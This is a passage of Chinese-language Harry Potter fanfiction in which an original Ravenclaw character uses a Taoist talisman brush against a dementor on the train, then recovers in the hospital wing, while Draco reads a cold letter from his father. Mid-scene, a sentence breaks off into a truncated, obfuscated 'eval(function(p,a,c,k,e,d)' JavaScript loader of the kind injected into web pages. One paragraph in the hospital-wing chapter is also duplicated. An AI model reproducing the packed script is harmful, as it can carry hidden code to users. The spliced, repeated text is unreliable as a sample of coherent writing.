而跟在后面的克拉布和高尔就像两辆失控的货运马车。他们原本就笨拙,在黑暗中更看不清,被前面的人一带,两个人像多米诺骨牌一样向前倒——克拉布撞在门框上,又反弹回来,整个人扑在了哈利那一排的座位靠背上,粗壮的手臂差点打到哈利的头。高尔则更惨,他太笨重了,左脚绊右脚,直接向前扑倒,半个身子压在了桌面上,正好压住了潘西的腿。 “啊——!” “我的腿!” “起开!高尔你压到我了!” 一时间,隔间里充斥着碰撞声、尖叫声、咒骂声。十一个人挤在原本坐六个人的空间里,完全乱成一团。马尔福摔在地上,喘着粗气;潘西趴在桌上,腿被高尔压着,哭喊着;克拉布卡在座位靠背和门板之间;高尔压在桌上;其他人全都挤在一起,动弹不得。 这一闹剧只持续了几秒钟,随即就被门外走廊里传来的、更加令人心悸的声音彻底取代了。 不是火车的声音。是一种……像破风箱在抽气,又像是溺水者在深深的冰水里挣扎着试图呼吸的声音。湿冷、粘腻、带着一种吞噬一切生机的恶意,从走廊尽头,由远及近,越来越响。 隔间里瞬间死寂。连潘西都死死咬住了嘴唇,不敢再发出一点呜咽。十一个人挤在黑暗中,能听见的只有彼此压抑的、越来越急促的呼吸声,和那越来越近的、仿佛能直接冻结灵魂的抽气声。 摄魂怪来了。 64. 紫竹笔与符 “荧光闪烁!” 帕德玛和赫敏的声音几乎是同时响起的,隔间里猛地亮起两团摇晃的光。光不算强,勉强能照清几张惊惶失措的脸——曼蒂的嘴唇在抖,苏珊把脸埋进了膝盖,罗恩的手死死抓着座椅边缘,指节都白了。 Eva背靠着门边的墙壁。木质的门板紧贴着她的背脊,起初只是凉,渐渐地,那股凉意变得刺骨。她低头去看——借着魔杖的光,能看见门板上正在凝结出白色的霜花,细密的冰晶沿着木纹蔓延,像有只看不见的手在画着死亡的图案。 “它……它在外面……”苏珊的声音从膝盖间漏出来,带着哭腔。 呼吸在空气里凝成白雾。隔间像突然被扔进了冰窖。曼蒂开始打颤,牙齿磕碰的声音清晰得刺耳。 然后,门板开始变了。 不是结冰那么简单。是木头的质地本身在变得模糊、透明——就像隔着一层结霜的毛玻璃看东西。透过那层逐渐稀薄的屏障,能看见一团灰白色的、不断翻涌的影子,正贴在门外。 摄魂怪。 它没有立刻进来。它在等。等着恐惧在这狭小的空间里发酵、膨胀,等着绝望像酒一样醇厚到可以啜饮。 就在寒意攀升到顶点的刹那,门外的影子动了。 不是穿门而过——是某种更可怕的东西。一股冰冷、粘稠的力量,像活物一样直接渗透了木板的纤维,穿透了加固的咒语,毫无阻碍地漫进隔间。 Eva感到那股寒意钻进了皮肤,顺着血管往上爬,直冲大脑。黑暗的记忆像被搅动的沉渣,翻涌上来—— 禁林里独角兽银蓝色的血,在月光下泛着诡异的光泽;医疗翼漫长的昏迷,每次醒来都觉得自己像一具空壳,连呼吸都需要意志去维持;密室地底湿冷的腥气,还有蛇怪黄色独眼里凝固的恶意……还有,暑假里那个安静的午后,茶馆老板娘用轻柔的嗓音说:“那位林夫人,好像就在其中。” 牺牲。这个词忽然有了重量,沉甸甸地压在心口。 每个人都会死亡,就像她的祖母,外祖父,外祖母……所有人都会走向死亡,就这样吧…… 就在这个念头升起的瞬间,左手腕内侧,那块紧贴皮肤的羊脂白玉佩,骤然滚烫。像一块埋在灰烬深处的炭,猛地迸发出抗拒的火星。 这股灼热感如此尖锐、如此突然,瞬间刺穿了包裹她的冰冷粘稠,使她瞬间找回了一丝清明。 就像溺水的人在彻底失去意识前,指尖突然触到一块粗糙的岩石。 “外邪……” 爷爷苍老的声音,不是在耳边,而是在更深的地方,仿佛从玉佩滚烫的接触点,直接撞进了她的灵台。 “当以正念守中,不为所夺。” Eva终于找回点神智。 哈利短促的痛呼,双手死死捂住额头,整个人蜷缩起来。那道闪电形的疤痕在昏黄的光线下红得刺眼。 罗恩和赫敏的脸上也露出痛苦的神色。曼蒂开始低声啜泣,眼泪还没流下来就在睫毛上结了霜。帕德玛手里的魔杖光早已熄灭。 而马尔福——他是离门最近的人。 当那股寒意穿透门板的瞬间,他整个人猛地一颤,像是被无形的重锤狠狠砸中脊梁。灰蓝色的眼睛瞬间失了焦,瞳孔散开,嘴唇徒劳地张着,却发不出任何声音。他的手在空中虚抓了两下,想扶住什么,却什么也没抓到。 他瘫坐在地上,背靠着结满冰霜的门板,眼睛空洞地望着前方。全身都在剧烈地发抖,那颤抖不是因为冷,而是某种更深层的东西——像灵魂被生生撕开了一道口子。他的魔杖从袍子口袋里滑出来,“啪嗒”一声掉在地上,滚到Eva脚边。 Eva弯腰,捡起那根山楂木魔杖。杖身冰凉,比她想象的要轻。她蹲下身,把魔杖塞回马尔福手里。 他的手指冰冷、僵硬,根本握不住。 “拿住。”她的声音很轻,轻得像呵出的白雾,但在死寂的隔间里异常清晰。 马尔福没有反应。他的眼睛还空洞地望着前方,瞳孔里倒映着摇晃的魔杖光,却映不进任何东西。 Eva握着他的手指——那手指冷得像冰,关节僵硬得掰不动——强行让他握住魔杖柄。然后她抬起他的手腕,很沉,像在抬一具失去生命的傀儡,让魔杖尖颤巍巍地指向门的方向。 她不知道能施什么咒。他也不知道——至少现在,他们都不会。 但这个动作本身,让门外的影子停顿了一下。 摄魂怪“看”到了魔杖。魔杖意味着巫师,巫师意味着可能反抗——哪怕只是徒劳的反抗。 门外的影子更清晰了。 Eva能“感觉”到它在“看”进来——不是用眼睛,是用某种更原始的、像触须一样的东西,舔舐着隔间里弥漫的恐惧和绝望。它在品尝,在享受,在等待最丰盛的时机。 它要进来了。 这个念头像一桶冰水,从头顶浇下来,瞬间冻僵了四肢百骸。恐惧到了极致,身体反而僵住了——像被蛇盯住的青蛙,一动也不能动。 但就在这僵直的瞬间,她的手指碰到了随身小包的搭扣。那个妈妈坚持让她带的、装着双面镜和几样基本防护物品的帆布包。手指在黑暗中摸索,触到了一个细长的、硬质的轮廓。 紫檀木笔盒。 她抽出紫竹笔,指尖触到笔杆。紫竹温润的触感传来,不热,却有一股熟悉的、属于“家”的安定气息——老宅院子里槐树的清香,爷爷磨墨时沙沙的声响,还有那句总在耳边的话:“笔墨通心,符篆显性。” 没有纸,没有墨,没有朱砂。 只有冰冷的空气,门外的邪祟,和她身体里那口几乎干涸的“炁”井。 爷爷只教过她一个符篆。那时候她还小,大概七八岁,坐在江南老宅的廊下,看爷爷在黄表纸上画符。爷爷说:“丽华,这个符,不是对外,是对内。外面乱了,心里不能乱。天地翻了,脚下这三分地得站稳。” 守心符。 那时的她太小,身体里的“炁”弱得像刚点燃的灯芯,学不了那些复杂的。爷爷就握着她的手,在宣纸上慢慢地画:三道平行的横线,代表天、地、人三才安稳;中间一个竖点,代表心灯不灭。 但在这个时候,用在这里,有没有作用,她也不知道,但没办法了,死马当活马医。 “外邪不侵,内神自守。清静为基,明心见性。” 笔尖抬了起来。 以炁为墨,以天地为纸。 第一笔:天横。 手腕要稳——这是稳定之基。她调动体内那微乎其微的“炁”,让它顺着经脉流向指尖,再渗进笔杆。身体像一口快见底的井,几个月的温养只让见底的井只有一层薄薄的水,而现在这层水也即将耗尽。 笔尖亮起一点微弱的金芒——不是光,是“炁”显化出的淡淡辉晕,在黑暗中几乎看不见。 一道淡金色的横线出现在空中,细得像蛛丝,微弱却笔直。 她开始默念口诀,用心神共鸣:“外邪不侵——” 每念一字,符线就稳固一分。那道金线像是活了过来,微微颤动,发出几乎听不见的嗡鸣。 门外的摄魂怪停顿了一下。 它“感觉”到了干扰。 就像品尝美食时突然尝到了一丝怪味。它原本清晰“吸食”到的恐惧和绝望,忽然变得模糊、不稳定。隔间里的情绪场像被投入石子的水面,波纹荡漾,难以捕捉。 第二笔:地横。 笔尖下移,画出第二道横线。 她的手指开始发抖。额头上渗出细密的冷汗,顺着鬓角滑下来,滴在袍子领口。体内的“炁”几乎被抽干了,每画一寸都需要用意志强撑——像拖着千斤重的石头往前走。 但这一笔必须与第一笔平行等距——差一丝,符就不成符,只是一团乱“炁”。 她咬牙,手腕用力稳住。 第二道金线浮现,与第一道平行,像两道微弱的轨道。 她默念,“内神自守——” 隔间里的变化更明显了。 哈利依然痛苦地捂着额头,但手指的颤抖缓和了些。赫敏急促的呼吸稍微平缓,她抬起头,棕色的眼睛在魔杖光下映出那两道淡金色的轨迹。曼蒂的啜泣声低了下去,变成压抑的抽噎。 恐惧还在。寒冷还在。但多了一种微弱的、像背景音一样的稳定感。像暴风雨中突然摸到一块稳固的石头,虽然风雨依旧,但知道有东西可以依靠。 摄魂怪开始烦躁。 它“闻”得到恐惧的味道,但每次试图吸取,都像隔着一层模糊的玻璃——看得见,碰不到。隔间里的情绪像被包裹在一层无形的薄膜里,它能感知,却无法有效获取。那种稳定的、平和的波动,虽然微弱,却像一根细针,不断刺破它吸食的节奏。 第三笔:人横。 最后一笔。 Eva的脸色已经苍白如纸,嘴唇失去所有血色。她能感觉到体内的“炁”彻底枯竭了——像最后一滴水从海绵里被挤出来,榨干了。 但她必须画完。 笔尖移动,画出第三道横线。 很慢,很慢。金芒微弱得几乎看不见,画出的线也细得如同蛛丝,在空中颤巍巍地延伸。 “清静为基——” 第四笔:心点。 笔尖在三条横线正中,轻轻一点。 这一点落下时,Eva的身体晃了一下,眼前发黑,差点倒下。她用手撑住冰冷的门板,指甲抠进木纹里,才勉强站稳。 而那个符——三道平行的淡金横线,中间一个微小的金点——完整地悬浮在空中。 它开始“呼吸”。 不是真的呼吸,是某种更玄妙的律动:像心脏跳动,像潮汐起伏,像老宅里那架老座钟的钟摆,稳定、绵长、永不停歇。 这种波动,对活人来说几乎感觉不到。但对摄魂怪这种以情绪为食的存在来说,就像在美味的食物上罩了一层防蝇罩——食物还在,但就是吃不到。每当你凑近,那层稳定的波动就会干扰你的“味觉”,让你食不下咽。 门外的摄魂怪彻底停住了。 它“盯着”门内,用它特有的方式感知。它“看到”隔间里充满了恐惧和绝望,本该是丰盛的大餐。但它每次试图“下嘴”,都会被那层微弱的、稳定的波动干扰,无法有效吸食。 它在犹豫。 一方面,这里有“食物”。 另一方面,这食物“很难吃到”。 摄魂怪没有复杂的思维,但有本能:寻找最容易获取的情绪能量。 而这里,需要费力。 就在这僵持的刹那—— 隔壁传来动静。门被拉开的声音。脚步声快速靠近,踏在结冰的地板上发出“咔嚓咔嚓”的脆响。 然后是一个疲惫但无比清晰的声音,带着一种不容置疑的力量,在走廊里炸开: “呼神护卫!” 银白色的光芒猛地爆发,像一轮小太阳在黑暗中诞生。 温暖。真正的、驱散一切寒冷的温暖,瞬间充满了整个隔间。那光不是热的,却比炉火更暖——是直抵灵魂的暖意,像寒冬清晨的第一缕阳光照在冻僵的脸上。银色的光穿透门板,照亮了每一个人惊恐的脸,也照亮了空气中那个淡金色的符篆。 在守护神强大、纯净的光芒中,那个符篆像晨曦中的露珠,悄然蒸腾、消散了。 门外传来几乎听不见的嘶嘶声,像某种东西在痛苦地退却。灰白色的影子迅速模糊、远去,寒意如潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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Eva接过巧克力,低声道谢。她的手还在微微发抖,连撕开包装纸的力气都没有。 卢平教授转向马尔福,递过去一块巧克力。马尔福机械地接过,没有吃,只是盯着手里那块棕色的东西,像不认识那是什么。他的脸色惨白得像刷了层石灰,眼神还有些涣散,但瞳孔深处,倒映着刚才那点淡金色微光的残影——那点在他彻底崩溃时,在绝对黑暗中亮起的、微弱却固执的光。 过了好几秒,他才像是突然清醒过来,猛地抬起头。目光先是茫然地扫过隔间——扫过哈利、罗恩、赫敏,扫过还在抽噎的曼蒂和帕德玛——然后落在Eva身上。落在她苍白的脸、微抖的手、还有腿边那支看起来再普通不过的紫竹笔上。 灰蓝色的眼睛里翻涌着极其复杂的东西:未散的恐惧、劫后余生的茫然、被当众目睹最狼狈模样的羞耻和愤怒……但还有一丝别的——一丝连他自己都未必能理解的、近乎震撼的余波。像有人在他彻底沉没的黑暗里,投下了一颗小小的、会发光的石子。 他想说什么。嘴唇动了动,喉咙里发出一个含糊的音节。 但最终,他只是猛地站起来——动作太急,踉跄了一下,差点又摔倒——然后看也不看其他人,推开挡在门口的哈利(哈利皱眉让开,绿眼睛里闪过一丝复杂的情绪),冲出了隔间。袍角甩在门框上,发出“啪”的轻响。 克拉布和高尔笨拙地跟上去,像两座移动的肉山。潘西看了看Eva,又看看马尔福仓皇的背影,咬了咬涂着粉色唇膏的嘴唇,也匆匆离开,高跟鞋在走廊里敲出急促的声响。 门重新关上。 隔间里一片寂静,只剩下雨声和火车行进的哐当声。 “梅林啊……”曼蒂终于找回了声音,带着浓浓的哭腔,“刚才……刚才那是……” “摄魂怪,”赫敏的声音也在发抖,但她在努力维持镇定,手指无意识地摩挲着巧克力包装纸,“它们真的上火车了。书上说……但刚才那种感觉……” 她说不下去了,摇了摇头,把脸埋进手掌里。 “Eva,你……”帕德玛看着她,眼神里充满担忧,还有一丝近乎敬畏的东西,“你刚才……那是什么?那个金色的……” “没什么。”Eva轻声说,声音虚弱得几乎听不见。她捡起腿上的紫竹笔,笔杆还是温润的,但那股熟悉的、属于爷爷的气息似乎黯淡了些——像被过度使用后的疲惫。她小心地把笔放回木盒,盖上盒盖。“只是……写字。” 哈利看着她,绿眼睛里有很多话想说,但最终只化作一句:“谢谢。” 他谢的不是她救了马尔福——那个他不在乎。他谢的是,在所有人都被恐惧冻住、连他都只能捂住伤疤蜷缩起来时,她做了点什么。哪怕只是写了一个字,点了一盏微弱得随时会熄灭的灯。 那需要的不只是勇气。那需要一种更深的东西——在绝境中依然选择“表达”,选择“存在”,选择用最后一点力气去画一条线、点一个点。 罗恩和赫敏也看向她,眼神复杂。赫敏的嘴唇动了动,似乎想从学术角度分析刚才发生了什么——那金色的轨迹是什么魔法体系?为什么能干扰摄魂怪?——但最终她什么也没说,只是点了点头。那点头里包含着尊重,还有一丝她自己可能都没察觉到的、对未知领域的谨慎。 火车重新开动了。车轮缓缓转动,发出有节奏的哐当声,像一颗巨大的心脏在恢复跳动。 窗外,雨还在下,但已经小了很多,成了细细的雨丝。天色依然阴沉,铅灰色的云层低低地压着远山。而在雨幕的尽头,霍格沃茨城堡的轮廓正在逐渐清晰——黑色的塔楼,亮着灯火的窗户,还有那片熟悉的、笼罩在湖面上的薄雾。 Eva靠在墙壁上,闭上眼睛。手里的巧克力开始变软,融化的甜腻气息丝丝缕缕地钻进鼻腔。疲惫像潮水一样涌上来,淹没了四肢百骸。 但她知道,城堡快到了。 三年级,就要开始了。 65.余波与诊疗 火车到站时,天色已沉入一种黏稠的墨蓝。雨虽停歇,寒意却像从地底渗出的水银,无声地浸透袍角和鞋袜。站台上魔法灯的光晕被湿气晕染成模糊的毛边,照着学生们沉默、惊悸未消的脸。海格粗哑的吆喝声在冰冷的空气里显得有些遥远,仿佛隔着厚厚的玻璃传来。 Eva拖着行李箱,随着人流缓慢移动。脚步虚浮,像踩在浸透水的海绵上,每一次抬起都费力。左手下意识地按着小腹丹田处——那里空落落的,带着一种熟悉的、被掏空后的隐痛,比去年密室之后更甚。指尖触到袍子口袋里那支紫竹笔的木盒,凉意让她清醒了几分。晚宴、分院、邓布利多的警告……这些流程性的东西在脑子里过了一遍,像隔着一层雾。她现在只想找个地方坐下,或者躺下。 马车在黑暗中颠簸前行,夜骐嶙峋的轮廓在夜色里显得格外清晰。Eva靠在冰冷的车厢壁上,闭着眼。曼蒂和帕德玛小声说着话,声音像从很远的地方飘来。 “……刚才,卢平教授那个咒语,你看见了吗?银色的,像只动物……” “是守护神咒。非常高深……书上说只有最快乐的记忆才能召唤出来。” “Eva……你还好吗?你的手好冰。” Eva微微睁开眼,对曼蒂摇了摇头,示意自己没事。她没有参与讨论。身体深处那种透支后的空洞感,比任何关于摄魂怪的描述都更真实。那支笔划过的轨迹,那点微弱得几乎看不见的金芒,还有卢平教授那轮温暖如冬日朝阳的银色光芒……这些都成了意识深处模糊的碎片,被沉重的疲惫包裹着。 马车停下,霍格沃茨城堡巨大的橡木门在夜色中敞开,透出温暖的光。但那光此刻照不进她身体的寒冷。 门厅里,麦格教授的声音斩钉截铁:“行李放下!直接去礼堂!” Eva将箱子搁在角落,几乎没去看周围堆叠如山的行李。走进礼堂时,烛光、金盘、高脚杯的反光,以及四张长桌上嗡嗡的、压低了声音的议论,汇成一片令她有些眩晕的背景。 “……波特晕倒了,就在我们隔壁车厢!” “不止他,好几个低年级都吐了……” “是新的黑魔法防御术教授,卢平,他用了一个很厉害的咒语赶走了摄魂怪!” “我听说是银色的,像只大狗……” “什么?狗?不是说是牡鹿吗……” 议论声钻进耳朵,没有一句提到别的。Eva在拉文克劳长桌惯常的位置坐下,端起面前一杯微温的南瓜汁,小口啜饮。甜腻的液体滑过喉咙,带来一丝虚弱的暖意。这样很好。没有人注意到隔间里那点微不足道的、属于另一种体系的微光。爷爷说过,“事了拂衣去,深藏身与名”。 晚宴的食物丰盛,但她几乎没有胃口,只是机械地吃了几口蔬菜和土豆泥。邓布利多教授的讲话,海格成为保护神奇生物教授的消息,以及关于摄魂怪驻守的严厉警告,都像隔着一层水听来的,不甚真切。 直到晚宴结束,随着人流走出礼堂,夜间的寒意再次包裹上来,Eva才感觉到身体的不适在加剧。不仅仅是疲惫,小腹那种空乏的隐痛变得明显,带着微微的下坠感,太阳穴也开始一抽一抽地跳。 “Eva?”帕德玛的声音带着担忧,“你的脸色很不好,手也在抖。我们陪你去医疗翼吧?” 曼蒂也立刻点头:“对,让庞弗雷夫人看看!你刚才在车上……”她话没说完,但眼里满是后怕。 Eva没有拒绝朋友的提议。身体的虚弱感是实实在在的,她清楚自己现在的状态不佳,万一在回塔楼的路上撑不住,反而更麻烦。爷爷也常说要“借力”,在自己力有不逮时接受合理的帮助并非软弱。“好。”她轻声答应,“麻烦你们了。” 三人脱离走向礼堂的主流,转向通往医疗翼的走廊。走廊里相对安静,脚步声在石板上回响。就在她们靠近医疗翼所在的短廊时,前面拐角处传来一阵刻意压低、却因激动而显得有些尖锐的说话声,以及另一个更干涩紧绷的制止声。 “……他就像块石头!庞弗雷夫人明明说他只是惊吓过度,喝了药就会好,可我叫他,他看都不看我一眼!德拉科,你倒是说句话啊!” “我说了,闭嘴,潘西。你想让所有人都听见吗?” Eva没有拒绝朋友的提议。身体的虚弱感是实实在在的,她清楚自己现在的状态不佳,万一在回塔楼的路上撑不住,反而更麻烦。爷爷也常说要“借力”,在自己力有不逮时接受合理的帮助并非软弱。“好。”她轻声答应,“麻烦你们了。” 三人脱离走向礼堂的主流,转向通往医疗翼的走廊。走廊里相对安静,脚步声在石板上回响。就在她们靠近医疗翼所在的短廊时,前面拐角处传来一阵刻意压低、却因激动而显得有些尖锐的说话声,以及另一个更干涩紧绷的制止声。 “……他就像块石头!庞弗雷夫人明明说他只是惊吓过度,喝了药就会好,可我叫他,他看都不看我一眼!德拉科,你倒是说句话啊!” “我说了,闭嘴,潘西。你想让所有人都听见吗?” 是潘西·帕金森和德拉科·马尔福。听起来他们刚从医疗翼出来。 Eva的脚步顿了一下。这种时候撞见,尤其是听到别人显然不愿外传的私密对话,实在是尴尬。她本能地想停下或者放慢脚步,避免正面碰上。 然而马尔福、克拉布、高尔和眼睛红肿的潘西已经从拐角后转了出来,双方打了个照面。 马尔福走在最前面,脸色是一种缺乏血色的苍白,嘴唇抿成一条僵直的线。他显然没料到会在这里、这个时候遇见Eva和她的朋友们。当他的目光触及Eva时,灰蓝色的瞳孔几不可察地收缩了一下。Eva此刻的状态绝对称不上好——脸色比平时更显苍白,眼下有淡淡的倦影,嘴唇也没什么血色,整个人透着一股强撑着的虚弱感,这和她平时那种沉静稳定的样子截然不同。而跟在她身边的曼蒂和帕德玛脸上毫不掩饰的关切,更说明了她此刻需要同伴搀扶去医疗翼的事实。 那一瞬间,马尔福脸上掠过一丝极其复杂的神色——不仅仅是刚才被潘西提及窘态的恼怒,更有一种……类似于目睹某种“证据”被突兀摆到面前的僵硬,以及一丝被对比出的、难以形容的难堪。他自己刚从医疗翼出来,带着惊吓过度的痕迹,而眼前这个拉文克劳,看起来状况并不比他好,甚至可能更糟(至少他还能自己走动,而她是被朋友陪着去医疗翼的)。 他的目光像被烫到一样,迅速从Eva脸上移开,下颌线绷紧,几乎是目不斜视地、用一种比平时更显急促和生硬的步伐,快速从她们身边走了过去,袍角带起一阵微冷的、混合着药水和古龙水气味的微风。那姿态,与其说是傲慢,不如说更像是在躲避什么令人不适的场景。 克拉布和高尔像两座沉默的肉山跟了上去。潘西在经过时,红肿的眼睛狠狠剜了Eva一眼,那眼神里充满了被打断谈话的恼火和一种“看什么看”的迁怒。 他们很快就消失在走廊另一头。 “……梅林,”曼蒂等他们走远,才小声嘀咕,“斯莱特林的人真是一如既往的不友好。潘西那是什么眼神?我们又没惹她。” 帕德玛则若有所思:“马尔福看起来状态也很差。不过……”她看了看Eva苍白的侧脸,“Eva,我们快进去吧,你需要立刻休息。” Eva点了点头,在朋友的陪伴下,走进了医疗翼明亮而充满药水气味的大门。 医疗翼里灯火通明,消毒水和多种魔药混合的气味一如既往地浓烈。庞弗雷夫人正在药柜前忙碌,听到脚步声转过身,锐利的目光迅速扫过三人。 “张小姐?这个时间……噢,你的脸色!”她的视线定格在Eva脸上,眉头立刻蹙起,“又是精力透支?快坐下。”她示意Eva在一张空病床边坐下,完全忽略了旁边一脸关切的曼蒂和帕德玛,魔杖已经指向Eva,施展了几个快速检测咒语。柔和的光芒掠过身体,带来微弱的暖意。 “魔力波动异常虚弱,心率过快,有明显的神经性疲劳和精神力过度消耗迹象……不止是摄魂怪的后续影响,你再次过度调动了那种更深层的力量,对吗?”庞弗雷夫人的语气是陈述而非疑问,带着了然和不容置疑的严肃,“和去年冬天的情况类似,但这次偏向精神层面的透支更重。你们这些孩子,总把警告当耳旁风!”她责备地看了Eva一眼,但动作利落地转身去配药。 “庞弗雷夫人,Eva她严重吗?”曼蒂忍不住小声问。 “需要休息和调理,不能逞强。”庞弗雷夫人头也不回,药瓶和试管在她手中发出清脆的碰撞声,“我会给她配强效缓和剂和专门补充精神力的营养剂。今晚必须好好睡一觉,明天如果还感觉虚弱,课程可以暂缓。” 就在这时,医疗翼的门被轻轻推 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赫敏已经快步走了过来,镜片后的眼睛里充满了后怕和强烈的关切:“一定是摄魂怪的影响太严重了!那种感觉……好像所有快乐的念头都被吸空了,只剩下彻骨的寒冷和绝望……卢平教授说巧克力有帮助,你吃了吗?哦,不过庞弗雷夫人的药肯定更对症。”她的语速很快,带着格兰芬多式的热心。 罗恩站在稍后一点,摸了摸鼻子,看看哈利又看看Eva,嘟囔了一句:“倒霉的晚上。到处都是摄魂怪闹的。” Eva对哈利点了点头,算是打过招呼,然后看向赫敏,声音比平时更轻缓:“吃了巧克力,但还是不太舒服。庞弗雷夫人在配药了。”她无意详细描述自己的状况,那没有意义,也解释不清。 哈利看着她平静但难掩倦色的侧脸,心里那点模糊的猜测和某种沉甸甸的情绪交织在一起。他想说点什么,比如“谢谢你当时……”,或者“你还好吗?”,但话堵在喉咙里。一方面,他不确定自己看到的是否是真实;另一方面,Eva此刻明显不想多谈,她只是安静地坐在那里,等待药剂,周身笼罩着一种完成某件事后疲惫却不愿多言的气息。他们之间似乎有一种默契,关于那些共同经历的、危险的、不愿被反复提及的时刻。 庞弗雷夫人端着一个托盘回来了,上面放着两瓶冒着不同颜色蒸汽的药水。“给,张小姐。蓝色这瓶睡前喝,能让你深度放松,获得真正的有助于复元的睡眠。绿色这瓶现在喝,是强效精神营养剂,能缓解透支感。”她把药瓶不容分说地塞进Eva手里,随即转向哈利三人,眉头又皱了起来:“波特,你们又来干什么?晚宴后给你的镇定剂和巧克力不够吗?” “哦,不是的,夫人。”哈利回过神来,有些局促地举了举空杯子,“我只是来还杯子,顺便……嗯,我的伤疤,靠近摄魂怪时特别疼……” “伤疤疼?那并不意外,波特。某些古老的魔法伤痕,对摄魂怪这种生物散发的特定黑暗波动会产生反应。”庞弗雷夫人的语气干脆利落,带着一丝不耐,“现在,除了远离它们,没有立竿见影的解决办法。把杯子放那儿,你需要的是休息,不是反复琢磨它。你们三个都赶紧回去,别在这儿逗留了!”她指了指旁边的柜子,然后开始用眼神驱逐所有“闲杂人等”。 Eva顺从地站起身,向庞弗雷夫人道了谢,又对曼蒂和帕德玛轻声说:“我们走吧。”她没再看哈利他们,拿着药水,在朋友的陪伴下,缓步离开了医疗翼。 回拉文克劳塔楼的路上,她喝下了那瓶绿色的精神营养剂。药水味道古怪,带着草木的微苦和一丝奇异的清凉,但很快,一股温和却切实的暖流从胃部扩散开,像干涸的土地得到细雨的滋润,那种掏空般的虚弱感和隐痛稍微缓解了一些,太阳穴的抽痛也减轻了。虽然深层次的疲惫依旧沉重,但至少不再是摇摇欲坠的状态。 公共休息室里炉火温暖,人已不多。鹰状门环今晚的问题是:“何物最脆弱,却能刺穿最坚硬的盔甲?” Eva几乎没思考,轻声答:“真相。” 门应声而开。 回到寝室,她喝下蓝色的缓和剂,洗漱,换上柔软的睡衣。药效温和而强大,深沉的、令人安心的倦意如潮水般包裹了她,迅速带走最后一丝清醒的意识。 在彻底沉入无梦的黑暗前,最后一点模糊的知觉是:明天,三年级正式课程开始。保护神奇生物课,和斯莱特林一起上……希望海格的第一堂课,一切顺利。身体的恢复是缓慢的过程,但课表不会等待。 66.家族与信函 霍格沃茨的信使猫头鹰在早餐时分涌入礼堂,像一片拍打着翅膀的乌云。 在这片羽毛和信件纷飞中,每个三年级学生的面前都落下了一张浅黄色的羊皮纸。 Eva打开,是新学期课表。 周一:上午:魔药学(与斯莱特林),下午:变形术(与斯莱特林) 周二:上午:黑魔法防御术(与斯莱特林),下午:魔法史(全院) 周三:上午:草药学(与赫奇帕奇),晚上:天文课(全院,午夜) 周四:上午:魔咒学(与赫奇帕奇),下午:保护神奇生物课(选修,全院混合) 周五:上午:古代如尼文(选修,全院混合),下午:麻瓜研究(选修,全院混合) 是的,Eva最终选择了保护神奇生物课,古代如尼文和麻瓜研究作为选修课。 斯莱特林长桌,德拉科·马尔福先是瞥了一眼课表,修长的手指将它展开。上面清晰地列出了每周课程安排,看到“保护神奇生物课”后面标注的“混合”时,他的眉头几不可察地挑了一下。这意味着这堂课会有格兰芬多——特别是波特——在场。而古代如尼文,显然是那个拉文克劳会选的东西。 就在这时,一只马尔福家族特有的雕鸮落了下来,他面无表情地看着它——羽毛光滑如黑曜石,金色脚环上刻着细小的马尔福家徽——精准地落在他面前的银质高脚杯旁,丢下一个厚重的墨绿色信封。火漆是熟悉的银色蟒蛇图案。 他放下银叉,用餐巾慢条斯理地擦了擦嘴角,才伸手拿起信封。指尖触到纸张的质感时,几不可察地停顿了一瞬——比平时更厚。旁边,潘西·帕金森已经凑过来,声音里带着刻意压低的兴奋:“是你爸爸的信?他肯定很担心你吧?昨晚的事……” 德拉科没有回答。他用小刀利落地划开火漆,展开信纸。 信的内容让他下颌线微微绷紧。 开头是例行问候,措辞冷淡而正式。接着是重点:关于新任黑魔法防御术教授莱姆斯·卢平——“此人背景极可疑,与狼人等黑暗生物牵连甚深。务必保持距离,但需仔细观察其言行。魔法部对此任命已有关注。” 然后是关于摄魂怪:“阿兹卡班守卫进驻霍格沃茨,是魔法部为应对极端威胁的必要举措。邓布利多反对,彰显其对学生安全的轻忽。身为古老家族之后,你当理解秩序的代价。” 最后是叮嘱:“首要任务是维护马尔福的声誉。与合适之人交往,勿涉险境,亦勿流露软弱。随信附上本学期额外零用,望善用。” 没有一句询问他的状况。没有一丝对昨晚事件的关切。只有布局、利益、警告,和一张数额可观的古灵阁支票。 德拉科的指尖在信纸边缘收紧,平整的羊皮纸起了细密的褶皱。他垂下眼帘,盯着那些熟悉的、锋利的笔迹,感觉某种冰冷的东西正从胃部缓缓上涌——不是昨晚摄魂怪那种吸走温度的寒,而是一种更沉、更滞涩的冷,像铅水灌进血管。 “德拉科?”潘西的声音再次响起,带着小心翼翼的试探,“你爸爸说什么了?是不是要去找魔法部……” “闭嘴,潘西。”他的声音不高,但冷得让潘西下意识缩了缩脖子。 他将信纸对折,再对折,塞进袍子内侧的口袋。动作很稳,稳得像在完成某种仪式。然后他重新拿起叉子,继续切割盘中的熏鲑鱼。刀尖划过瓷盘,发出轻微的、持续的刮擦声。 他的目光无意识地抬起,穿过礼堂喧闹的人潮,掠过拉文克劳长桌。 Eva Zhang坐在靠窗的位置,正小口喝着南瓜粥。晨光从高高的彩绘玻璃透进来,在她侧脸镀上一层薄薄的金边。她的脸色比昨晚在医疗翼外遇见时好了一些,唇上有了淡淡的血色,但眼下仍有倦影。她听旁边的印度女孩帕德玛说着什么,偶尔点头,动作很轻,带着一种拉文克劳特有的、令人恼火的专注。 德拉科切香肠的力道突然加重了。 刀尖刺穿肠衣,汁水溅到盘子里。 九月的课程在一种试探性的平静中展开。这种平静薄得像初冬湖面结的第一层冰,看似完整,底下却暗流涌动,透着寒意。 魔药学依旧是斯内普教授阴冷的地窖王国。空气里永远弥漫着陈年药材、干蛇皮和某种难以言喻的、近乎腐朽的气息。开学第一节魔药课的内容是肿胀药水——一种基础但步骤繁复、极易出错的药剂。斯内普教授像一只巨大的蝙蝠,无声地滑行在教室冰冷的石地板上,黑袍翻涌如乌云。他几乎没花时间讲解原理,只是用那种能将人冻结的、毫无起伏的语调念了一遍步骤,便要求学生们立刻开始操作。 “我希望,”他的声音像冰凌敲击石面,“在课程结束前,能看到完美的青绿色和均匀的气泡。任何偏差——无论是颜色、气味,还是质地——都可能导致不愉快的后果。拉文克劳们,尤其是,”他的黑眼睛缓缓扫过Eva所在的操作台,“不要因为上学期末的那些……‘表彰’,就以为自己可以松懈。” 